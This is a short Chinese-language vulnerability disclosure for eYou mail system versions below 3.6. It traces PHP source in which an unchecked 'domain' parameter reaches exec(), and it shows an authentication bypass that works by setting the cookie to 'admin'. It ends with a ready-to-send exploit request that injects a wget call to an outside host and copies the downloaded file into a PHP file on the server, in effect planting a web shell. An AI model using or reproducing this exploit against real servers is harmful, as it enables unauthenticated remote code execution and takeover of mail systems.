亿邮在3.6以下的版本存在一个任意代码执行,漏洞文件存在于
\inc\fuction.php
function get_login_ip_config_file($domain, $file) { $dir = '/var/eyou/Domain/'; $dir_mail = exec('/var/eyou/sbin/hashid '.$domain); //$domain可以自己控制 .... }
继续跟下$domain
存在于\admin\domain\ip_login_set\d_ip_login_get.php
<?php ... require_once('inc/domain.config.php'); //ValidateAdmin(); //不需要登录 $domainname = get_domain(); //Get cookie $allow_file = 'web_login_allow_ip'; $deny_file = 'web_login_deny_ip'; $domain = trim(get('domain')); //$domain from here. $type = trim(get('type')); //Get type $res = ''; if($domainname !== 'admin' && $domainname !== $domain) { //我们只是需要设置 $cookie=admin 就可以绕过并继续了. echo ''; exit; } if($type === 'allow') { //$type any go $file = $allow_file; $res .= 'ip_allow&'; } elseif($type === 'deny') { $file = $deny_file; $res .= 'ip_deny&'; } else { echo ''; exit; } $file = get_login_ip_config_file($domain, $file);// 调用了get_login_ip_config_file函数 if($file === FALSE) { echo $res; exit; }
exp:
GET /admin/domain/ip_login_set/d_ip_login_get.php?domain=%3Bwget%20http://conqu3r.paxmac.org/exp.txt%3Bcp%20exp.txt%20exp.php&type=allow HTTP/1.1 Host: mail.0day5.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie:cookie=admin Connection: keep-alive